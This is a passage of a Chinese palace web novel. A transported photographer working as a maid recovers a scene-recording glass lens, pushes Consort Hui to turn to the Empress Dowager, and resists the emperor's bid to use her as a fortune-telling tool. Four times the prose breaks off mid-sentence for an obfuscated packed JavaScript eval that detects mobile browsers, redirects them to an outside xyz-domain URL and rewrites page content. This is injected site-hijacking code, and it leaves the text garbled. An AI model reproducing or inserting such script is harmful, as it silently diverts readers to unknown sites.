邝叶点点头,接过药,给曲江月道了谢。 曲江月留下一句“怎么我当值老遇着你出事”,就告辞离开了。 不知何时进屋的玉芳送曲江月出门,说了几句话之后返回,对又坐回椅子上的邝叶说:“既已看完伤,你赶紧回去潆霞宫罢。” 邝叶没有起身离开的意思,看向玉芳问:“我的东西,陛下不打算归还了么?” 玉芳忍不住笑了,像是听到了什么天大的笑话,一时竟找不出话来回答,缓了好一会儿才说:“姑娘慎言,什么‘你的东西’,天下的东西都是皇上的。” “他不打算还我?”邝叶倏地起身,敬称也被她吞了。 邝叶跑的飞快,玉芳和另一名宫女想拦没拦住,只能追在她身后,看着她往来时的偏殿跑。 “站住。” 好在殿门负责护卫的两个侍卫拿佩刀拦住了邝叶,追她追得差点儿被几道门槛绊倒的玉芳松了口气,两个宫女索性站在一旁,等着邝叶知难而退。 “何故疾走?”左边那个侍卫发问,握着刀鞘的手背肌腱凸起,拇指抵在刀护手上,方便以最快速度将刀拔出来,完全没因为邝叶看起来又瘦又小就轻视了她。 邝叶这时也犯了难,刚刚躲开宫女们跑来是腿比脑子快,现在面对两个严阵以待的侍卫,脑子也追上来了,掂量了一下自个儿,她当然不可能在两个拥有武器的成年男子严阵以待的情况下硬闯成功,可是她也不能认怂退后,她的512天寿命还在殿内。 邝叶和两个侍卫,就这么站着,对峙着…… 好在刚才动静不小,这间偏殿也不算很大,里面注意到了门口的动静,安居进甩着宽大的袖子走来,见是邝叶,感到一阵头疼,没好气地问:“陛下不是开恩让你回潆霞宫了么,怎么还不走?” “我的东西陛下还没归还。” “什么‘你的东西’,”安居进抬手作势要打她嘴,用刺耳的尖细嗓音训她,“陛下是天下之主,会贪你一个小宫女的东西?快回你潆霞宫伺候慧妃娘娘去!” 一样的说辞邝叶已经在玉芳那里听过了,别过脸去以表达抗拒,她的习性很像动物,简单直白,什么周旋,什么给上司面子的,根本不在她考虑范围内,目光只投向殿内坐在屏风前的皇帝。 “那块琉璃透镜是我的东西,离开我就会爆炸!能炸死人!”她故意大声地说,确保里面一定听的清清楚楚,不管对方信不信,也不管万一被揭穿了该怎么办,她只想拿回她的东西,硬抢抢不回,她就硬骗。 原本低头看桌面的皇帝,听到她的话抬起头,声音和缓地道:“让她进来。” 安居进却拦住侍卫准备收回的手,再次恭敬地询问皇帝,“陛下,是否将她手脚绑缚?” 邝叶睨了安居进一眼,她对当着她的面,讨论要不要绑她的人实在难有好脸色。 “何必多此一举,”皇帝又说一遍,“放她进来,朕有事要差她去办。” 皇帝发了话,两个侍卫马上收刀,让开道路,给邝叶通行。 眼看邝叶很快来到近前,只隔着一张桌案,皇帝却不等她开口问,拿出她的琉璃透镜,下面还垫着一封信,单手一并递给她。 “这是慧妃的家书,你一并带走,交给她。” “你放进琉璃中的所见,朕都已看过,看来,你随慧妃从冷宫回来做了不少事……” 邝叶没去揣测他话语背后隐隐的威胁或是敲打,而是接过透镜和信,反问:“您也能看得懂?” 男的怎么可能懂她的摄影艺术,还是个古风纸片男。 皇帝身份尊贵,从十岁起就没在别人那儿听过这么自然而然的蔑视,除了太后,所以他马上就接收到了邝叶反问的真正意思,突然厉声骂她。 “放肆!” 邝叶懵了,瞪大了眼看皇帝,不明白自己怎么放肆了,心说男的真敏感,纸片男也是、当了皇帝也是…… 殿内其他人都在等皇帝下令把这个放肆的宫女拖出去打嘴巴或者打板子,却听见皇帝咬牙切齿地压下怒气,让她“滚出去”。 邝叶这个放肆的宫女,在进门前大大吵大嚷,进入殿内也不见礼,却在皇帝让她滚时想起来礼貌了,特地行了礼才走。 安居进等邝叶走远,皇帝看着没那么生气了,才敢近前,脸上堆着笑,小心地问:“陛下,真将那块琉璃就这么还给她了?” 皇帝斜睨安居进一眼,安居进才大着胆子继续问:“容奴婢多嘴,要证实那物什有无危险,找几个方士或几个囚犯多试几次便知,何必还给她?” 在安居进看来,虽然他自己不懂这块琉璃有什么特殊之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128592|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处,但既然皇帝喜欢,宫女叶儿作为皇家的奴仆,就不该有拿回来这种念头,如果敢有,就该受教训,不然以后其他人还不跟着效仿了? “你懂什么,”皇帝提笔批阅他分到的一点儿奏折,“让人继续看紧这个宫女,时刻要有人跟着,尤其是她不在潆霞宫时。” 那块琉璃无关紧要,琉璃里的东西不能让其他人也看到的话亦无关紧要,重要的是邝叶这个人拿回琉璃后的动向。 她能在那么巧妙的时间把那么难以一遇的所见收进琉璃里,说明此人很可能预知未来之事,若能在她预知后,事情发生前采取行动,那用处可就大了…… 安居进领了口谕,应了句“是”,便向徒弟传令去了。 皇帝抬起头,看着两个太监在角落交谈的身影,眯了眯眼,眼型更显得锐利。 那个身怀异宝的宫女,还以为澄清自己与太后摄政王无关,就可以置身事外,当她的世外之人了,事实上,她从潆霞宫被带到这间偏殿内之时,她就只能是他这一边的势力。 邝叶踩着刚开始西斜的太阳回的潆霞宫,同事们都松了一口气,但那口气在看到邝叶头上和脖子上的包扎时又给吸了回去。 “怎么?这……”慧妃原本在和今日来串门儿的林昭容聊的正开心,见到邝叶的样子,笑容就那么僵住了,碍于林昭容还在,有些事不好说,便嘱咐邝叶下去好好休息。 邝叶领命说是,没忘了提信的事:“娘娘,忠义侯府来了封家书给您。” 慧妃点点头,表示自己知道了。 林昭容很有眼色,知道自己在这儿可能让慧妃不方便了,便找了个说得过去的理由,起身告退,带着自己的宫女走了。 慧妃心知肚明,林昭容这是为了给自己行方便,没有过多阻拦,给她搭了几件好看的团扇香珠什么的,让桃儿送她出门。 邝叶见林昭容一走,立马拿出信,交到慧妃手里。 慧妃看到熟悉信封纸质和上面熟悉的字体,心中百感交集,笑着,眼眶却开始积蓄泪水,她却没有马上拆信,而是看着邝叶,难掩心疼地问她:“是不是为着这封信,你被他为难了?” 邝叶连忙摇头说不是,“这个是意外。” 慧妃更愧疚了,以为是邝叶不想让她担心找的借口,“叶儿,你不用瞒我,就算你当初是在他授意下才跟随我入冷宫,我也从未怪你,你不曾亏欠我什么,你也不必为了不让我和他闹,而把委屈往肚里咽。” “这真是意外,他要砸我东西,我跑过去抢,侍卫以为我要暴起伤人,把我往地上压……” 邝叶说话都快语无伦次了,慧妃也还将信将疑,直到桃儿回来,这种怀疑-解释的奇怪状态才被打破。 “主子,拆信吧,看看家里说了什么。”桃儿提议。 “你也想看看你娘是不是有话带给你吧?”慧妃点出桃儿的心思,手上小心拆开了信封,脸色却很快沉下来。 23. 名场面二十三 邝叶低头看了系在自己裙子上的,失而复得的琉璃透镜,上面十分默契地出现了收录任务【名场面:主仆嫌隙。(提前出现)00:03:00】 慧妃把信折回去,提了提嘴角,勉强正色道:“去内间看吧。”说完自己往里间去。 桃儿并无意外,指挥其他人都留在外面,不许跟进来,包括邝叶。 “她可以跟来,”才走不过两步的慧妃突然停下说,“信是她所带回的。” 桃儿不置可否,很快扫了邝叶身上的伤一眼,带她一起跟上去了。 里间放有书桌,上好的黄花梨木,木色温润,木纹行云流水。慧妃坐下,把家书重新展开,铺在桌面毡布上,用镇纸推平,又仔细读了一遍。 书桌边的三人都很静,外头尚存的日光和蝉鸣更衬得这静是活的,在浅眠中呼吸,再过不一会儿,这静就要因为随时可能来的惊醒而打破…… “主子?”桃儿做了那个叫醒静寂的人,她站得稍远些,双手交叠在身前,体态端庄,不伸头探看,也不似邝叶似的眼睛往信上瞟,只问,“夫人说了什么?” “没有提到你妈,不过应当一切都好,你不必担心。”慧妃移开镇纸,将信按照折痕,重新折起来。 “她有儿子在身边,我有什么可担心……”桃儿语气平淡,好像提到的是不相干的人,而不是幼时带她一路从受灾地逃难出来的母亲,“倒是夫人,主子说的,夫人答应了么?” 慧妃不答,只有捏着信的指尖在轻轻发颤。 桃儿了然地道:“我早说过了,是主子不信,非要往家里写信……” 她并没有幸灾乐祸的意思,身份之差在上,她也不敢这么做,只是语气里的无可奈何与恨铁不成钢在听者耳里便成了指责和鄙夷。 “老爷再厉害,也不过是第四代侯爵,老太爷的书院也只在咱们当地出名罢了,跟皇家比就是九牛一毛。就是再疼爱你,再借他们一百个胆子他们也不敢跟皇家对着干的。” “呵,呵呵……”慧妃的喉咙里突然溢出几声短促而古怪的冷笑,笑声干涩而冰冷,细薄的手背上青筋凸起,将手里的信纸攥成紧紧的一团。 邝叶赶紧跑到慧妃身边去,桃儿看了看她们,抿了抿嘴唇,还是把明知说了不会讨喜的话说出来:“主子,认命吧,咱们就这样了,不若好好跟皇上过,你看后宫里多少人羡慕你呢,有几个人跟你一样得宠?连皇后娘娘都要避你……” “闭嘴!” 慧妃突然起身,把青瓷笔洗扫落在地,这只笔洗像上次那只白瓷的一样,被摔得四分五裂,地上都是乱流的水。 “你,你……”慧妃气得浑身发抖,话都说不出来。 邝叶害怕被波及,想躲远点儿,又害怕慧妃被气得厥过去,没人接住她,只得站在原地,跑也不是劝也不是。 “你是我的丫鬟,你是跟我一起进宫来的,你怎么能说这样的话?你怎么能站在外人那边?!” 桃儿觉得自己有理,直接跪在了被浸湿的地毯上,却不请罪也不闭嘴,道:“正是因我是主子的人,我才不能看主子犯傻。主子,冷宫我也陪你过来了,我不怕跟着你吃苦,我只怕你犯傻啊!你要打要骂要罚要赶我走我都认了,我只求你听我一句劝。” 旁观了主仆俩争执的邝叶到了此时才发现,桃儿和慧妃,她们瞒着她信的事,不过她也没空去追究,琉璃透镜上的收录倒计时走到【00:00:06】了,她刻意往后站了些,以便将桃儿和慧妃两人框进她的视野里。 “勿再提什么宁愿回去在塾里当教书先生这种话。你不但会害了自己,还会害了阖宫上下,还会害了家里!” 说完,桃儿对着冷硬的地面磕了个头,慧妃看着她,惊觉自己从来不了解这个和她一起长大的小姐妹,她只愿看自己喜欢的那一面,却不曾去看自己不喜欢的那一面。 也许,自己在邱桃染这个人眼里,是个只会吟咏风花雪月、不食人间烟火,任性妄为的娇小姐吧?比不得她通晓人情世故,处世圆滑…… 邝叶执起透镜在桃儿磕头、慧妃惊讶的瞬间眨眼,收录下了这一名场面。 【名场面:主仆嫌隙(提前出现),等级:B。收录成功!】 【摄影师邝叶,剩余寿命:572天。】 “起来,”慧妃对桃儿命令道,声音却似脱力一般,被捏成一个纸团的家书被她扔在桌面上,“我不想看见你。” 桃儿抬头看慧妃,嘴唇动了动,最终也没说什么,起身行礼,退了出去。 邝叶放下透镜,走到桌边,拿起那个纸团,看了眼坐在椅子上拿帕子捂脸的慧妃,打开了那封家书。 得益于这十几天她努力认字练字,也得益于候夫人的字很端正,邝叶能看得懂这封信。 这封家书,大体上除了复嘘寒问暖便是感念皇恩浩荡让她复位,劝她认命,别想些不切实际的东西,好好伺候她夫君皇帝,听太后皇后的话,有什么委屈自己咽下。当初劝她别高嫁皇家她不听,如今家里帮不了她什么,她也别来连累家里——与桃儿的规劝大差不差,所有人都在自发地封死她的出路,并且打心底里觉得这是对她来说最好的路。 邝叶放下了皱巴巴的信,慧妃已拿开被泪浸湿的帕子,扭头看向邝叶,只是看着,什么也不问 也许是怕问了,她开口说出和桃儿一样的话;也许是怕她为了讨好自己,说出违心的话。 慧妃宁愿邝叶什么也不说。 邝叶也不知道怎么安慰人,看了看慧妃,又看了看信,拿起信,“欻欻”两下,撕碎了…… 这张经过层层呈递、盖印才递进来的薄纸,慧妃千等万盼的家书,碎成若干灰白干枯的蝶翅,打了两下旋儿落到桌上、地上。 慧妃的目光追着这些纸屑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128593|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飘落,只觉得自己被抛下了,母亲、哥哥、桃儿还有丛隐,他们各自向前,心智随年岁增长,他们却不告诉她,让她自己停留在14、5岁时,冷眼旁观她挣扎哭闹。 “叶儿……”慧妃抓住邝叶的手腕。 邝叶以为她想问为什么撕掉她的家书,答道:“你看了不高兴,我就撕了。”就像慧妃当初烧掉害她进冷宫的诗集一样。 这简单直白的做法和回答让慧妃破涕为笑,邝叶感觉抓住自己手腕的手正在收紧,像被当成了一根救命稻草,“你也觉得我该安分守己吗?” 邝叶摇摇头,在慧妃眼里的光重新亮起,以为她要站在自己这边时,却听到她说:“我不知道,这是您自己的事。” 慧妃再度消沉下去,“你也和桃儿一样,觉得我太计较了?觉得不识好歹么?” “你不懂,你不知道他究竟是个什么样的人,那日在水榭,是他非要我念那首《秋愁》,他明知太后的忌讳,明知太后在附近,明知再过几日便是两个先太子的忌日,他故意……” 这次她却不等邝叶回答,握着邝叶手腕用力摇晃着,竹筒倒豆子一般说出埋藏心底已久的事,像是想靠秘密让邝叶站在自己这边。 可邝叶听了,只是眨眨眼,露出“原来如此”的了然神情——和桃儿是一样的反应。 这种气病养母的罔顾人伦的行径,这种口口声声宠爱却把自己女人推出去气养母的自私自利之人,这种把她的诗当成刀剑杀人的做法,竟然都不能让她们觉得齿冷的么? 慧妃轻轻松开了邝叶的手腕,自嘲般笑了笑,她怎么就忘了,邝叶是皇帝的人,是在皇帝授意下才跟着她去冷宫,连她的桃儿都站在皇帝那边,何况是原本就为皇帝办事的邝叶? 她不该病急乱投医跟邝叶说这些的…… 慧妃闭了闭眼,收起眼泪,打算当这事没发生过。 “那就去告诉太后啊。” 邝叶的话如一记雷电突然劈在慧妃身上,劈得她不知所措,“你说什么?” “去跟太后说,让太后教训他。”邝叶顶着一张被包扎的脸,语气轻松愉快得不像在偷偷非议太后和皇帝,更像在说某个小屁孩儿不听话了,去找他妈教训他。 “求他既然没有用,那就给他制造威胁。敌之敌,我之友,不是么?” 邝叶直到方才回答慧妃“那是您自己的事”时,都是不太想管这对青梅竹马的知己帝妃之间的纠纷,她是个摄影师,只负责记录事实,连野生动物她都不去干涉,何况是纸片人? 但是,额头和脖子上的疼痛提醒了邝叶。皇帝三番两次打她,目前又已知晓琉璃透镜的用途,正利用邝叶的东西在谋划着什么……种种行为,已经严重影响了她的名场面收录工作。 再不给他点儿教训,她就对不起虚长对方的那7、8岁,愧为现代文明社会生人,不配当大自然第一性。 24. 名场面二十四 “你要我,去求太后?” 这个想法简直荒谬到不可思议。 “我,我怎么能落井下石?我又不是……”慧妃说到一半,低头避开邝叶的眼睛,摇摇头说,“太后素来不喜我,再有贵妃煽风点火,她不可能信我,这行不通……” 后面说的太后、贵妃,不过是为自己不去而找补的理由,慧妃的真正的想法其实就是脱口而出却又被她自己截断的话:虽然皇帝不择手段地利用她,但她不能像皇帝那样…… 邝叶这时候明白了,为什么慧妃被两边欺负成这样了还想不到要用皇帝的这个把柄去向太后投诚? 其实不是她想不到这条路,她能只靠“太后出身”和“皇后之位”让嚣张跋扈的贵妃起疑自危,不再欺压林昭容,不可能想不到这个方法;更不是她惧怕太后,太后虽因为一首疑似的讽刺诗把她打入冷宫,但能手握权柄多年,绝不是不讲道理残暴失智的人。 她的问题是道德感太强。 她知道该怎么做,只是做不来。就像她为了帮林昭容而上门劝服贵妃的那天。 哎……邝叶轻轻叹了口气,她知道问题何在,但道德感这东西她也没法隔空去给人降了…… 算了。邝叶隔着纱布摸了摸脖子上发痒的伤,说道:“我可以替您去求。” 慧妃倏然抬头,双手急忙抓住了邝叶的手,像是怕她会说干就干,要赶忙拦住她,“你一个宫女,你还是我的宫女,你去和太后说什么?谁会信你?!” 她毫不怀疑,邝叶这个傻乎乎的小姑娘真会大喇喇地去福宁宫求见太后,太后不可能见一个小宫女,最多让掌事孙姑姑来见。那么邝叶会跟孙姑姑说此事求对方转告太后,为她申冤,甚至会跟太后请求把她废黜放她回家…… 最后的结果,太后要么把邝叶丢去北苑治疯病,要么把邝叶丢回潆霞宫,再由皇帝把她们主仆一起丢去冷宫治疯病,更甚者,把她和邝叶杀人灭口。 不该一时冲动告诉邝叶此事。慧妃在心中不住地后悔。 邝叶听了慧妃的反问,思忖一会儿,睁大了眼,十分真诚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128594|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地道:“至少,她比贵妃要讲道理吧……” 慧妃讶然,一点点松开抓住邝叶手腕的手,由于方才太用力,现在一放开,双手手心因充血发红了。 是啊,她连不讲道理的贵妃都能劝服,讲道理的太后真的一点儿话都说不上吗? “娘娘,该传晚膳了。”小荷的声音从外面传进来,打断她们的思路。 慧妃整了整衣衫,对外间答了句“知道了”,自站起来,对邝叶道:“你哪也不许去,这件事也不许再提。” “哦,是。”邝叶低了低头。 得到邝叶答应,慧妃才放心往外走,知道自己成功拉低她人道德感的邝叶,趁着慧妃背对自己,悄悄笑了一下,跟上对方走出去。 “叶儿。” 刚跨出内间,一只手突然抓住邝叶的手臂,把她外旁边拽,一看,原来桃儿,方才说传晚膳的是小荷,邝叶还以为她不在呢…… “你对主子说了什么?”邝叶来到这个世界以来,第一次听到桃儿用这么冷的语气跟她说话。 25. 名场面二十五 次日。潆霞宫上下都知道了大宫女桃儿得罪了慧妃,慧妃以“思过”为由罚她不许出现在自己面前,另一个大宫女叶儿则因为意外破了相,不好带在身边,是以身边的宫女换成了看起来稳重却做事机灵的杏花。 但桃儿也并没有无所事事地呆在屋里,很多事她仍要亲自过问,甚至经手。 是以她见到邝叶跟茵绿一起在树下闲聊摸鱼十分看不过眼,尽管此时是午休 “才送过几顿饭,你们就这么要好了?”桃儿没好气地问,心里盘算着要给茵绿多派点儿活计。 “桃儿姐姐,”茵绿看到桃儿,马上站起,带着讨好的笑解释,“我们是同乡。” “宫女不是大都从京城人里选么,那宫里的同乡可多了去了。” “姐姐有所不知,我家和叶儿家都是迁入京城的外来户,还都迁到了同一条街。” “哦,怪不得……” 不知道桃儿想到什么,生出了恻隐之心,语气和缓许多,最后也没有给茵绿多派活儿,只是提醒茵绿:“活儿都做完了?别偷懒。” 把摸鱼当主业的茵绿当然信誓旦旦说做完了,实则想着那么点儿活儿,等跟老乡聊完再回去赶工也不迟。 等桃儿走了,茵绿又挨着邝叶,拉着她一起坐下,“咱们接着说,方才说到哪儿了?” 邝叶收回目送桃儿走远的目光,答道:“你说闻大人跟司药司一个曲姓女史是旧相识。” “对对对,我给你说啊,她们……” 邝叶昨天试图拉低慧妃道德感后拉对方入伙投诚太后失败,但邝叶并未放弃这个想法,她决定自己去跟太后投诚,但太后不可能见她一介小宫女,所以邝叶想从太后身边的拟诏女官和掌事姑姑两人这里入手。 正好,茵绿有个女官梦,把从宫女选上去的太后的拟诏女官闻新雪当成榜样,对其很了解,邝叶便估摸着茵绿摸鱼的时间,跑来向她打听。 茵绿见邝叶脸上脖子上的伤,猜想应当是自己昨天跟安公公递的那值好几块金锞子的消息导致的,一时对邝叶又是心虚,又是愧疚,想要弥补的心理加上不想放弃邝叶这个摇钱树的心思,她几乎是知无不言地说了邝叶想知道的。 皇帝可以通过茵绿监视邝叶,邝叶也可以通过茵绿来达成自己的目的…… 邝叶坐好,拢了拢裙子,又把垂下的透镜拿起来往腿上放,阳光穿透树叶,形成各种形状的光斑落在邝叶裙上和透镜上,邝叶发现,透镜上字变化了。 【名场面:美人水榭起舞。C级。00:30:00。】 水榭? 邝叶在脑中检索了一下地图,下一秒便对茵绿说“我突然想起有急事”,也不等茵绿回话,便狂奔而出。 茵绿在原地愣了愣,才想起自己除了摸鱼的主业、洒扫的副业,还有另一个当内线监视邝叶的副业,连忙也跑出去。 邝叶按照地图飞奔到观荷水榭那边时,倒计时走到【00:15:03】。 水榭是设在岸边最阔处,三面临水,与对岸的太湖石相对互为观赏。此时为初夏,池中的荷叶已经挨挨挤挤,形成高低错落的碧玉伞,几支或白或粉的芰荷点缀其间。 景色确实美丽,这次名场面的主角“美人”很会挑地方,在美景中起舞,美貌、美景相得益彰。 邝叶坐在水榭内,看了一圈,没空细细欣赏,此时荷园里没什么人,主角也还没就位,但从名场面的描述上看,取景范围已经框定好了,就是水边游憩眺望的亭阁,无论邝叶的机位在哪,都必须能看到这个四面透风的亭阁里的人物。 邝叶想到了四种取景方式:一是站在水榭内,边看美人跳舞边收录名场面;二是爬到水榭顶,在倒计时结束时像蝙蝠一样倒挂下来收录;三是像观鸟人一样涉水,隐在荷叶丛中,举着透镜,在美人起舞时收录;四则是到对岸太湖石那儿取景。 邝叶首先排除了第一个取景方式,原因是怕摄影师本人离得太近会让拍摄对象恐惧或是逃跑;第二个方式要通过光滑的柱子爬到亭顶,也不容易做到;第三个方式则会弄湿衣物,而且不知道水中会不会有蚂蟥什么的;第四个目前来说最合理,然而她的肉眼不是长焦镜头,她也不是远视眼,不知道拍摄不清晰或拍摄对象过小会不会影响名场面收集。 这么想着,倒计时不知不觉走到了只剩10分钟,邝叶突然听到身后一阵脚步声,随之而来的还有一个熟悉的尖细嗓音。 “陛下,教坊司近来编了新曲,要不要让她们来演奏?” 邝叶连忙起身,下意识就想跳进池子里藏起来躲避,回过神来时一只脚已经跨出围栏。 可是,她突然想到,她为什么要躲?皇帝不是已经知道透镜的事了么?不是也知道她会到处乱跑收集名场面么? 而且皇帝在这儿也无不合理,美人起舞的对象可不是她这个摄影师,而更可能是本书男主角。 邝叶把跨出去的那条腿收了回来,在心里斟酌着,一会儿遇到皇帝问话该怎么答。 “是,奴婢这就将舞姬也一并叫来。” 安居进说着话,脸上带着谄媚的笑,为时刻注意皇帝脸上的表情变化,甚至是侧着走路,本来提出看歌舞时皇帝看着心情还算好,可行至水榭的观景亭,脸色却突然一变。 “你怎么也在这儿?”皇帝冷冷地发问,听得出兴致被扫了大半。 安居进一回头。看到一个穿着浅蓝衣衫的宫女正低头向皇帝行礼,腰间挂着一个硕大的圆形琉璃片。 安居进不禁在心底发出了和皇帝一样的疑惑:怎么又是你? 皇帝没等到邝叶回答问题,又换了个问法:“你在这儿做什么?” 这个问题有其他人在,不大好回答,邝叶于是提起了自己衣裙上挂着的琉璃透镜,晃了晃,说,“等人。” 皇帝了然,对安居进吩咐“不用找舞姬和琵琶女来了”,又让跟着他的宫人们都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159319|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离远些,不要太靠近,便走向亭中,寻了个位置坐了。 邝叶手中的透镜马上改变了上面的字:【名场面:美人水榭起舞。C级。收录暂停。】 作为一个没怎么上过正经班的野人,邝叶在此刻也切身体会到了,方案被领导或甲方反复打回的社畜的感受。 “你等的人可来了?”皇帝转着拇指上的白玉扳指,问得漫不经心。 邝叶放下透镜,摇摇头道:“不来了。”就是因为你下令才不来的。 荷风裹着水汽拂过水榭,带来一阵消暑的惬意。 邝叶裙上的琉璃透镜跟着摇晃,折射出着碎金似的光晕。 “不来了?”皇帝的声音无喜无怒,似乎隐约猜出来什么,“莫不是因为朕来了,所以你要等的那人,才不来了?” 也不全是,如果你不下令让舞姬别来了,我还是能拍得到这个名场面的…… 但邝叶不想把真实的原因解释给他听,说的越多,皇帝对透镜的兴趣就越大。 邝叶垂下眼,看着自己飘动的裙裾,她含糊地应着,“陛下圣明。”算是默认。 自己猜想得到证实,皇帝轻笑一声,好像掌控了全局一般满意,“看来你此次要收进琉璃中的所见不敢看见朕。” 邝叶趁低着头,偷偷翻了个白眼,也不解释什么,反正她嘴笨也解释不清,就由皇帝自己充分发挥想象,把一个“看美人跳舞”的普通事件脑补成动摇统治的阴谋论好了…… 只要不像昨天一样抢她的透镜就好。 “不过,”皇帝自袖中取出折扇,展开山水扇面,扇了一下,“此次是朕赶巧,下次朕不一定能赶得上,邝叶姑娘,你说,朕该怎么办呢?” 寒意顺着脊椎爬上来。邝叶突然明白了皇帝的意图,昨天把透镜还给她并不是透镜对他没有用了,而是他看不到她能看到的透镜上的字,所以对他来说,透镜没用。 但是,透镜在下发名场面收集任务和名场面发生之间具有时间差,这个从3分钟到24小时不等的时间差相当于是事件预告…… 如果只是预告了美人跳舞这种事,干涉之下,没了也就没了,可若预知的是行刺皇帝,干涉的话,改变的可是国家命运——虽然对于邝叶这个旁观者来说,这两个事件只有奖励多少之分,但对于书中人来说则天差地别。 皇帝是想把她变成一件人形预警雷达,预知未来的工具。 而工具,当然是放在身边最安全。 “你去年自请跟随慧妃去冷宫,于患难时不离不弃,你们主仆情深,可慧妃的性子,太过清高,也不会为自己争什么,你跟着慧妃,想用琉璃收集所见总不免遇到麻烦刁难,若是跟着朕……”他没继续说下去,说到这儿,已经足够邝叶听懂,邝叶只要不是太蠢,都知道怎么选。 可邝叶想到却是,去年秋天,害慧妃被打入冷宫的那首讽刺太后连死两个儿子的秋愁诗,应该就是在这个水榭里念的吧? 26. 名场面二十六 邝叶的出神在皇帝看来是在斟酌比较。 既然还能比较,就是说好处还不够让人马上松口答应。 皇帝慢慢合上折扇,站起身,边把扇骨轻轻敲在掌心,边踱步走到邝叶面前,“你调到御前,为朕办事,待未来局势稳定,朕给你诰封,亲自给你寻一个好儿郎,你的孩子……” 听到这话,邝叶抬起头来,一脸的莫名其妙。 “哦,”皇帝突然像是醒神,把折扇往手心一敲,道,“你是修道出家之人,不留恋凡尘富贵,这么着,你父母兄弟姐妹在世的可受封荫,朕再在你家乡给你建一座庙立一块碑。” 邝叶微微眯了眯眼,仔细看了一番皇帝,作为一个宫斗文男主角,他的长相必然是俊美的,邝叶从他的五官上挑不出任何毛病来。 一个俊美的身份尊贵的男人在认真地讨好你——怪不得慧妃当初会沦陷。 皇帝发现了邝叶打量的目光,有些不快,但他并不发作,好整以暇看着邝叶,等待着邝叶开口答应。他相信,只要不是愚不可及,都能明白这是怎样的机遇,或者说,是怎样的“恩典”。 但邝叶毕竟不像当初的慧妃,是个处于十五、六岁最想沾男人年纪的姑娘,听了皇帝的招徕,她反而更坚定了不能跟皇帝凑在一起。 固然,跟在皇帝身边,意味有更便利的条件去完成那些“收录任务”,甚至可能获得一定的庇护,免受刁难。但代价也同样明显,置于皇帝的监视之下,双方利益无冲突还好,一旦有了利益冲突,比如给她续命的名场面需要损害皇帝的利益时,她是该提醒还是不提醒?皇帝会不会因为某一次失利就把责任全归咎于她的不提醒? 邝叶不喜欢把人工具化的行为,更不可能把自己置于工具的处境。况且,她身上的伤还在,她还记着皇帝几次三番干扰她收录名场面的仇呢。 邝叶低头退了一步,打算拒绝,此时却见透镜上出现了新的收集任务。 【名场面:俏叶儿与君共观荷。(提前出现)00:03:00】 俏? 谁俏? 俏谁? 穿来后一直被上司同事诟病长相普通的邝叶呆住了,但这个突然间出现的名场面给她的震撼不止前面三个字,好不容易接受了自己就是那个“俏”,还有“与君共观荷”等着她。 与谁?君是谁?! 邝叶眉头紧锁,缓缓抬起头,看到了皇帝那张故作耐心的脸。 君是,这人呀? 邝叶总算想起来了,她,好像顶替了桃儿的位置,成了女主来着…… 邝叶抬头的举动让皇帝分外欣喜,不由得一笑,使得原本就标致好看的五官变得更加鲜活,他继续加码道:“怎么?是舍不得慧妃?她你不必担心,她与朕自小相识,朕不会薄待于她,且她身边又有陪伴照顾多年的桃儿跟随,少了你,她的日子也不会难过……” 他哪里知道,邝叶此时想的根本不是要不要离开慧妃转投入皇帝麾下的事,而是收录倒计时倒计时只有三分钟!!! 同时,她不知道怎么收录这个发生在自己身上的名场面! 邝叶看看皇帝,又看看手上的透镜,皇帝像史书推崇的明君礼贤下士一样,直直望着她,等着她的答复,透镜上的倒计时则自顾自地走,数字越来越小…… 【00:02:15】 与皇帝观荷,这不难,只要画面里有她、皇帝和荷叶就够了,这亭阁在水中,周围都有荷叶,往哪儿看都是观。 但是,她的眼睛是摄影机的一部分,她要怎么让自己的眼睛在收录名场面的同时看荷叶,并把看荷叶的自己收录进去? 这太诡异了。 时间一分一秒地过去,邝叶急得浑身冒汗,脖子上的伤因为汗水刺激也痒痒的,目光在皇帝和透镜之间来回转移,却想不到办法。 